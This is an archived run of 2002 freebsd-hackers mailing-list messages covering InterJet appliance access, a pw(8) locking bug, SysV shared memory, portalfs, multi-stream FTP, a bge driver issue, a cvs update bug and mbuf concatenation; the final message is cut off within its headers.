List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Julian Elischer wrote: > ummmm if you have an IJ-II then > you must be leasing it from IBM. And IMB is ending all teh leases and > recalling them. > They never sold them as far as I know.. no wait you are in .de.. > hmmm that may be different.. They sold them in Japan. They may have sold them internationally, otherwise, as well, but I don't think so. The sales in Japan were CPE sales to NTT DoCoMo. > the best way is to take out the disk. > put it on a freeBSD system > edit /etc/tty to turn on the serial console.. > > While the OS is in fact FreeBSD.. > (4.4 at the latest upgrade avaliable I believe) > I don't think that people here would know of any such cookies.. > > I wouldn't mind a IJ-II myself actually.. > nice machine as a boundary firewall and router for the home.. > > Why do you think you need root access.? Probably the same reason you think you need root access on your UNIX machines. 8-). There's a company that will root InterJets for $50. They also replace (in IJ I's) the 10Mbit network card with 10/100Mbit, and will upgrade the IJ I's 28K modem to 56K (not usually useful, since you can't sync 56K if you are going through a PBX). And they will upgrade your memory (not always a good idea on an IJ I, unless you can get the right memory sticks with the tin, not the gold contacts). You can find it with a Yahoo search fairly easily. Julian, Archie, and I, and Mark Peek, and Evan Oldford, and ... all know the magic root password. But we can't tell you, or we'd have to kill you, since there are thousands of places that are still using them. Sorry about the telnet... I can tell you how to turn it on, but since you don't have a Whistle, Inc. Engineering network IP address, it's not going to do you any good. 8-). Well, it would let you in from the office net, I guess, but no remote maintenance, if that's what you are looking for... If Mark Peek is still with IBM these days (he hasn't told us he's not), then he probably still has full source code for the thing. Mark, are you listening? Put PMTA out on Developerworks, please! 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:32:16 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id C40AA37B406 for ; Mon, 24 Jun 2002 19:32:03 -0700 (PDT) Received: from pool0555.cvx21-bradley.dialup.earthlink.net ([209.179.194.45] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17Mg7c-00046d-00; Mon, 24 Jun 2002 19:32:01 -0700 Message-ID: <3D17D5FA.DD80F025@mindspring.com> Date: Mon, 24 Jun 2002 19:31:22 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: KitCat Cc: Julian Elischer , freebsd-hackers@FreeBSD.ORG Subject: Re: need some help on ibm whistler = interjetII References: <109284509683.20020625014423@gmx.de> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG KitCat wrote: > i want the root access, because i=B4ve a dsl-internet-connection, = and i isn=B4t > supported by the ij-package at now. so i hope, that i can act= ivate the > dsl-feature with root access. i hope, you are not rolling over = the floor > laughing ;-) perhaps, you know a better (low-cost) solution, that i fi= nally can > use the ij as router/firewall/ftp-server(/mail-server???). btw= : i=B4ve no > static ip :-) another handicap (i think)... THe answer is that that's a subscription key controlled feature, and costs more money to activate. You have to download a key as part of the ACL configuration talking to your NOC, and to do that, basically someone at the NOC provider has to put key codes into "Commander" (the database at the NOC). Having root access wouldn't give you a cryptographically correct key signature that matches the public key on the InterJet itself. Probably the easiest thing to do would be to put a DSL modem on the permiter network, and beg Archie to tell you how to dump and reload the existing ACL to set your default route out the permiter neteork, rather than the WAN interface. I could tell you more, but I'd have to kill you. 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:36:18 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id 0CC6537B4AE for ; Mon, 24 Jun 2002 19:35:50 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0371.lax-ca.osd.concentric.net [64.0.145.116]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5P2BVO32334 for ; Mon, 24 Jun 2002 19:11:32 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id 6C7F350CB; Mon, 24 Jun 2002 19:32:59 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id 69C484D25; Mon, 24 Jun 2002 19:32:59 -0700 (PDT) Date: Mon, 24 Jun 2002 19:32:59 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Geoffrey C. Speicher" Cc: "Matthew D. Fuller" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020624152524.C33806-100000@sea-incorporated.com> Message-ID: <20020624192258.A41186-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 24 Jun 2002, Geoffrey C. Speicher wrote: > On Mon, 24 Jun 2002, Paul Herman wrote: > > > I think the best thing to do is file a PR for this. > > With or without a patch? If you have a fix, patches go under the "Fix:" section. Most importantly, please fill in the "Description:" and "How-To-Repeat:" sections. Large patches (more than 100 lines or so?), should be gzip/uuencoded in the "Fix:" section. -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:58:32 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by hub.freebsd.org (Postfix) with ESMTP id 0EED237B435 for ; Mon, 24 Jun 2002 19:57:03 -0700 (PDT) Received: from pool0555.cvx21-bradley.dialup.earthlink.net ([209.179.194.45] helo=mindspring.com) by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MgVU-0002cX-00; Mon, 24 Jun 2002 19:56:40 -0700 Message-ID: <3D17DBC1.351A8A35@mindspring.com> Date: Mon, 24 Jun 2002 19:56:01 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Patrick Thomas , freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > * Terry Lambert [020624 19:17] wrote: > > > > System V shared memory is allocated out of KVA space (annoying, > > but true). > > You keep saying this but the backing object allocated for sysvshm > is taken from either an OBJT_PHYS or OBJT_SWAP object. Uh, it's only ever an OBJT_SWAP; see line 532 of kern/sysv_shm.c. > At what point does it eat KVA that is other than for the backing > data structures? It eats address space, not RAM. And even if the mappings are not active (which they usually are, because of LRU and processes accessing them shared), the pages containing the page table entries for each process are themselves not swappable; anything with a large VSZ is going to eat 1/4k pages in KVA there, too. Ask yourself where a shared memory segment lives when it's not in attached to one process address space, prior to you ipcrm'ing it. It has to remain referenced so it isn't reclaimed. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 19:59:13 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from snipe.mail.pas.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by hub.freebsd.org (Postfix) with ESMTP id 9FB7537B50B for ; Mon, 24 Jun 2002 19:59:05 -0700 (PDT) Received: from pool0555.cvx21-bradley.dialup.earthlink.net ([209.179.194.45] helo=mindspring.com) by snipe.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MgXk-0005Uw-00; Mon, 24 Jun 2002 19:59:00 -0700 Message-ID: <3D17DC4E.F802447E@mindspring.com> Date: Mon, 24 Jun 2002 19:58:22 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: Harry Newton , freebsd-hackers@FreeBSD.ORG Subject: Re: status of portalfs References: <86adpkih9j.fsf@basilisk.locus> <3D179464.4538513D@mindspring.com> <200206242233.g5OMXHl8000378@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon wrote: > > Actually Terry is wrong here :-) Sorry Terry. The portal filesystem > is not really a filesystem. All it can do is intercept open()s and > return descriptors. It isn't like NULLFS. The portal filesystem > does not do any layering at all. open() does not return a portalfs > descriptor. > > What portalfs does is connect to a unix domain socket (aka a userland > process) and then it expects a control message to sent to it with > a descriptor (like to a normal file or a TCP socket or whatever). It > then returns the descriptor directly. You're right. The code is all different here from what it was originally. Originally, you were supposed to be able to treat a program as a file, and not have to do the socket passing around. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 20:11:21 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sabre.velocet.net (sabre.velocet.net [216.138.209.205]) by hub.freebsd.org (Postfix) with ESMTP id 3961037B400; Mon, 24 Jun 2002 20:10:38 -0700 (PDT) Received: from canoe.velocet.net (canoe45.velocet.net [216.138.225.99]) by sabre.velocet.net (Postfix) with ESMTP id 59E04138145; Mon, 24 Jun 2002 23:10:33 -0400 (EDT) Received: by canoe.velocet.net (Postfix, from userid 101) id 78AAC567857; Mon, 24 Jun 2002 19:09:05 -0400 (EDT) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15639.42641.410043.846076@canoe.velocet.net> Date: Mon, 24 Jun 2002 19:09:05 -0400 To: Terry Lambert Cc: Giorgos Keramidas , Wouter Van Hemel , hackers@FreeBSD.org Subject: [hackers] Re: Limiting clients per source IP address (ftpd, inetd, etc.) In-Reply-To: <3D13BF30.565B7A53@mindspring.com> References: <20020621000924.GA2178@hades.hell.gr> <3D129CA8.EFADA4FF@mindspring.com> <1024656206.277.9.camel@cocaine> <3D13A4DA.28F3B169@mindspring.com> <20020621235847.GE5836@hades.hell.gr> <3D13BF30.565B7A53@mindspring.com> X-Mailer: VM 7.04 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >>>>> "Terry" == Terry Lambert writes: >> Actually I was thinking more of ReGet and Godzilla-style software >> used by some users to play unfair and suck more bandwidth out of an >> FTP server, by opening a zillion sockets and downloading a single >> file in chunks. Terry> What a clever hack! Terry> I don't know if I should revise my argument to include Terry> per-IP-per-file, which would of necessity be user space, or Terry> just admire it and say they *deserve* more bandwidth for being Terry> smart... ... and axel for FreeBSD. I think this is another example of the iternet routing around problems. The problem is that small amounts of packet loss (etc) make is amazingly good to take the multiple stream approach. I believe axel's default approach is to open 4 connections. With the FreeBSD ISO, I get 100 to 250 KB/s with regular ftp (depending). With axel, I get 550 KB/s (on a 100M well-connected link). In fact, the worse one connection does, the more reason to get out the multi-connection tool. There are only two ways to attack this problem: make it less profitable or impossible. Making it impossible will catch all kinds of people in the same net. Making it less profitable will make the problem go away by itself. The only idea (off the top of my head) that will make it sufficiently less profitable is to ensure that the multiple streams behave exactly in the manner of a single stream. This would require the TCP retry mechanism to track the steams together and punish additional streams for each fault in the other streams. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://daveg.ca | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 20:24: 2 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.ust.hk (mx2.ust.hk [143.89.14.128]) by hub.freebsd.org (Postfix) with ESMTP id CC7B337B400 for ; Mon, 24 Jun 2002 20:23:55 -0700 (PDT) Received: from ccsu13.ust.hk (ccsu13.ust.hk [143.89.103.42]) by mx2.ust.hk (8.12.2/8.12.2) with ESMTP id g5P3NqhA072375 for ; Tue, 25 Jun 2002 11:23:53 +0800 (HKT) Received: (from ccyflai@localhost) by ccsu13.ust.hk (8.11.6+Sun/8.11.6) id g5P3Nxc12938 for hackers@FreeBSD.ORG; Tue, 25 Jun 2002 11:23:59 +0800 (CST) Date: Tue, 25 Jun 2002 11:22:48 +0800 From: Lai Yiu Fai To: hackers@FreeBSD.ORG Subject: Re: bge driver not working in Dell 2650 Message-ID: <20020625032248.GB12836@ccsu13.ust.hk> References: <20020623030400.GH11408@ccsu13.ust.hk> <200206241638.g5OGcVb31010@vashon.polstra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <200206241638.g5OGcVb31010@vashon.polstra.com> User-Agent: Mutt/1.3.28i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I just know you have just committed a bugfix for BCM5701 on freebsd-hacker list. I will try it out and let you know the result. http://www.geocrawler.com/mail/thread.php3?subject=Re%3A+bge+driver+issue&list=159 Thanks. Ken On Mon, Jun 24, 2002 at 09:38:31AM -0700, John Polstra wrote: > In article <20020623030400.GH11408@ccsu13.ust.hk>, > Lai Yiu Fai wrote: > > Anyone get the Broadcom BCM5701 gigibit ethernet working on new Dell 2650? > > I noted it has been fixed in latest STABLE branch from freebsd-hacker list. > > > > http://www.geocrawler.com/mail/thread.php3?subject=Broadcom+BCM5701+GigE+Ethernet+problems%3F%3F&list=159 > > > > I grabed the latest -STABLE branch but it still doesn't work for the Dell > > 2650. Any clues? > > Just one clue. Saying that something "doesn't work" without providing > any details doesn't make it possible for anybody to help you. > > John > -- > John Polstra > John D. Polstra & Co., Inc. Seattle, Washington USA > "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 20:25:47 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sea-incorporated.com (caribbean.sea-incorporated.com [209.74.10.130]) by hub.freebsd.org (Postfix) with ESMTP id BF34237B40D for ; Mon, 24 Jun 2002 20:25:40 -0700 (PDT) Received: from sea-incorporated.com (localhost [127.0.0.1]) by sea-incorporated.com (8.12.3/8.12.3) with ESMTP id g5P3Nn0t034991; Mon, 24 Jun 2002 23:23:49 -0400 (EDT) (envelope-from geoff@sea-incorporated.com) Received: from localhost (geoff@localhost) by sea-incorporated.com (8.12.3/8.12.3/Submit) with ESMTP id g5P3NkKU034988; Mon, 24 Jun 2002 23:23:48 -0400 (EDT) Date: Mon, 24 Jun 2002 23:23:46 -0400 (EDT) From: "Geoffrey C. Speicher" To: Paul Herman Cc: "Matthew D. Fuller" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020624094952.R40562-100000@mammoth.eat.frenchfries.net> Message-ID: <20020624232235.W34947-100000@sea-incorporated.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 24 Jun 2002, Paul Herman wrote: > On Mon, 24 Jun 2002, Geoffrey C. Speicher wrote: > > > So we either need to have a compelling solution or get a > > committer to step in and make up our minds for us. > > I think the best thing to do is file a PR for this. More than one person has already beaten us to the punch: bin/23501, closed on Fri Jun 22 08:43:09 PDT 2001, describes the exact same problem with pw(8), and contains a patch that was verified to fix the problem, but it was apparently never committed. bin/38676, submitted on Tue May 28 19:40:08 PDT 2002, requests that the original patch be committed, but has gotten no feedback. Next? Geoff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 21:10:48 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 1258337B401 for ; Mon, 24 Jun 2002 21:10:42 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5P3IHb23246; Mon, 24 Jun 2002 22:18:19 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 49C7C1F05; Mon, 24 Jun 2002 23:10:36 -0500 (CDT) Date: Mon, 24 Jun 2002 23:10:36 -0500 From: "Matthew D. Fuller" To: Paul Herman Cc: "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020625041035.GP81018@over-yonder.net> References: <20020623233731.L31276-100000@sea-incorporated.com> <20020624094952.R40562-100000@mammoth.eat.frenchfries.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020624094952.R40562-100000@mammoth.eat.frenchfries.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Jun 24, 2002 at 09:56:31AM -0700 I heard the voice of Paul Herman, and lo! it spake thus: > On Mon, 24 Jun 2002, Geoffrey C. Speicher wrote: > > > So we either need to have a compelling solution or get a > > committer to step in and make up our minds for us. > > I think the best thing to do is file a PR for this. I'll probably do so (referencing also the previous ones) once I finish testing this; the downside is that I may not get a chance to plunk a few straight solid hours into it until this weekend (darn that "paying work" stuff!), so we may have to find new realms of the subject to flam^Wdebate until then, just to keep the ol' adrenaline flowing. Regardless of the outcome of the passwd issue, I think the pid_*() functions in libutil will be useful for other things that do those kind of functions. Just glancing at my /var/run, I can see cron, inetd, mountd, moused, and syslogd, just among the stuff in our base system that isn't contrib/-ish (like named, sshd, ntpd, etc). -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 21:21:25 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 1E3CA37B446 for ; Mon, 24 Jun 2002 21:20:37 -0700 (PDT) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g5P4KZn86880 for ; Tue, 25 Jun 2002 13:20:35 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 116 From: Makoto Matsushita To: hackers@FreeBSD.org Subject: cvs(1) bug? with cvs update -rX -DY Date: Tue, 25 Jun 2002 13:20:20 +0900 Message-Id: <20020625132020U.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I found a strange behavior of cvs (see sample session below). Checking out the source codes seems OK, but when I update the codes with -r and -D options, source codes are disappeared. cvs update with -r option only is OK for me. Is it a bug, or just my misunderstandings of cvs behavior? -- - Makoto `MAR' Matsushita % mkdir /tmp/demo % cd /tmp/demo % cvs -R -d /home/ncvs checkout -rRELENG_4 src/contrib/lukemftpd cvs checkout: Updating src/contrib/lukemftpd U src/contrib/lukemftpd/COPYING U src/contrib/lukemftpd/ChangeLog U src/contrib/lukemftpd/INSTALL U src/contrib/lukemftpd/Makefile.in U src/contrib/lukemftpd/NEWS U src/contrib/lukemftpd/README U src/contrib/lukemftpd/THANKS U src/contrib/lukemftpd/acconfig.h U src/contrib/lukemftpd/aclocal.m4 U src/contrib/lukemftpd/config.h.in U src/contrib/lukemftpd/configure U src/contrib/lukemftpd/configure.in U src/contrib/lukemftpd/install-sh U src/contrib/lukemftpd/lukemftpd.h U src/contrib/lukemftpd/todo cvs checkout: Updating src/contrib/lukemftpd/src U src/contrib/lukemftpd/src/Makefile.in U src/contrib/lukemftpd/src/arpaftp.h U src/contrib/lukemftpd/src/cmds.c U src/contrib/lukemftpd/src/conf.c U src/contrib/lukemftpd/src/extern.h U src/contrib/lukemftpd/src/ftpcmd.y U src/contrib/lukemftpd/src/ftpd.8 U src/contrib/lukemftpd/src/ftpd.c U src/contrib/lukemftpd/src/ftpd.conf.5 U src/contrib/lukemftpd/src/ftpusers.5 U src/contrib/lukemftpd/src/logutmp.c U src/contrib/lukemftpd/src/logwtmp.c U src/contrib/lukemftpd/src/pathnames.h U src/contrib/lukemftpd/src/popen.c U src/contrib/lukemftpd/src/version.h % cd src/contrib/lukemftpd % cvs -R update -P -d -rRELENG_4 -D"Tue Jun 25 00:00:00 GMT 2002" cvs update: Updating . cvs update: COPYING is no longer in the repository cvs update: ChangeLog is no longer in the repository cvs update: INSTALL is no longer in the repository cvs update: Makefile.in is no longer in the repository cvs update: NEWS is no longer in the repository cvs update: README is no longer in the repository cvs update: THANKS is no longer in the repository cvs update: acconfig.h is no longer in the repository cvs update: aclocal.m4 is no longer in the repository cvs update: config.h.in is no longer in the repository cvs update: configure is no longer in the repository cvs update: configure.in is no longer in the repository cvs update: install-sh is no longer in the repository cvs update: lukemftpd.h is no longer in the repository cvs update: todo is no longer in the repository cvs update: Updating src cvs update: src/Makefile.in is no longer in the repository cvs update: src/arpaftp.h is no longer in the repository cvs update: src/cmds.c is no longer in the repository cvs update: src/conf.c is no longer in the repository cvs update: src/extern.h is no longer in the repository cvs update: src/ftpcmd.y is no longer in the repository cvs update: src/ftpd.8 is no longer in the repository cvs update: src/ftpd.c is no longer in the repository cvs update: src/ftpd.conf.5 is no longer in the repository cvs update: src/ftpusers.5 is no longer in the repository cvs update: src/logutmp.c is no longer in the repository cvs update: src/logwtmp.c is no longer in the repository cvs update: src/pathnames.h is no longer in the repository cvs update: src/popen.c is no longer in the repository cvs update: src/version.h is no longer in the repository % cvs -R update -P -d -rRELENG_4 cvs update: Updating . U COPYING U ChangeLog U INSTALL U Makefile.in U NEWS U README U THANKS U acconfig.h U aclocal.m4 U config.h.in U configure U configure.in U install-sh U lukemftpd.h U todo cvs update: Updating src U src/Makefile.in U src/arpaftp.h U src/cmds.c U src/conf.c U src/extern.h U src/ftpcmd.y U src/ftpd.8 U src/ftpd.c U src/ftpd.conf.5 U src/ftpusers.5 U src/logutmp.c U src/logwtmp.c U src/pathnames.h U src/popen.c U src/version.h % To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 21:32:47 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from angelica.unixdaemons.com (angelica.unixdaemons.com [209.148.64.135]) by hub.freebsd.org (Postfix) with ESMTP id 01E8137B40B for ; Mon, 24 Jun 2002 21:32:43 -0700 (PDT) Received: from angelica.unixdaemons.com (bmilekic@localhost.unixdaemons.com [127.0.0.1]) by angelica.unixdaemons.com (8.12.4/8.12.1) with ESMTP id g5P4WY7g028460; Tue, 25 Jun 2002 00:32:34 -0400 (EDT) X-Authentication-Warning: angelica.unixdaemons.com: Host bmilekic@localhost.unixdaemons.com [127.0.0.1] claimed to be angelica.unixdaemons.com Received: (from bmilekic@localhost) by angelica.unixdaemons.com (8.12.4/8.12.1/Submit) id g5P4WWGT028456; Tue, 25 Jun 2002 00:32:32 -0400 (EDT) (envelope-from bmilekic) Date: Tue, 25 Jun 2002 00:32:32 -0400 From: Bosko Milekic To: Mike Silbersack Cc: Yahel Zamir , freebsd-hackers@FreeBSD.ORG Subject: Re: m_cat() does not update m_pkthdr.len Message-ID: <20020625003232.A27656@unixdaemons.com> References: <20020624211437.J55382-100000@patrocles.silby.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020624211437.J55382-100000@patrocles.silby.com>; from silby@silby.com on Mon, Jun 24, 2002 at 09:15:09PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Jun 24, 2002 at 09:15:09PM -0500, Mike Silbersack wrote: > > On Sun, 23 Jun 2002, Yahel Zamir wrote: > > > Hi, > > > > During development of networking code in FreeBSD kernel, > > we noticed that m_cat(p1, p2) does NOT do some necessary things: > > p1->m_pkthdr.len += p2->m_pkthdr.len; > > p2->m_flags &= ~M_PKTHDR; > > > > Thanks, > > Yahel. > > Please notify Luigi or Bosko. See the -net archives as well, I believe > that this has been discussed in the last week or two. > > Mike "Silby" Silbersack There is not much about m_cat() that says that p1 has to be a packet header and that also says that p2 is a packet header or that, if it is, its packet headerness will be removed. It is up to the surrounding code to make sure that it properly deals with p1 and p2 before concatenating p2 to p1 (or after). To place the added requirement that p1 be a packet header type mbuf would be placing an additional requirement on callers to m_cat(). -- Bosko Milekic bmilekic@unixdaemons.com bmilekic@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 22: 6:57 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail-relay1.yahoo.com (mail-relay1.yahoo.com [216.145.48.34]) by hub.freebsd.org (Postfix) with ESMTP id E773B37B41B for ; Mon, 24 Jun 2002 22:06:47 -0700 (PDT) Received: from FreeBSD.org (socks1.yahoo.com [216.145.50.200]) by mail-relay1.yahoo.com (Postfix) with ESMTP id 330BB8B5BB; Mon, 24 Jun 2002 22:06:47 -0700 (PDT) Message-ID: <3D17FA65.E4B3AC0D@FreeBSD.org> Date: Mon, 24 Jun 2002 22:06:45 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.6-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Terry Lambert Cc: "Matthew D. Fuller" , Paul Herman , "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] References: <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> <3D1662CC.FE6F6D49@mindspring.com> <20020624124039.GB59373@over-yonder.net> <3D178124.192785D1@mindspring.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert wrote: > Whatever locking protocol you come up with needs to be partcipated > in by everyone. Historically, passwd file manipulations have used > link count locking. Link count locking also has the virtue of working over nfs, as opposed to flock(). -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Jun 25 0:26:11 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 944FF37B48A for ; Tue, 25 Jun 2002 00:25:10 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id BF3BBAE163; Tue, 25 Jun 2002 00:25:09 -0700 (PDT) Date: Tue, 25 Jun 2002 00:25:09 -0700 From: Alfred Perlstein To: Terry Lambert Cc: Patrick Thomas , freebsd-hackers@freebsd.org Subject: Re: tunings for many httpds... Message-ID: <20020625072509.GJ53232@elvis.mu.org> References: <20020624151650.I68572-100000@utility.clubscholarship.com> <3D17D27A.11E82B2B@mindspring.com> <20020625022238.GH53232@elvis.mu.org> <3D17DBC1.351A8A35@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii 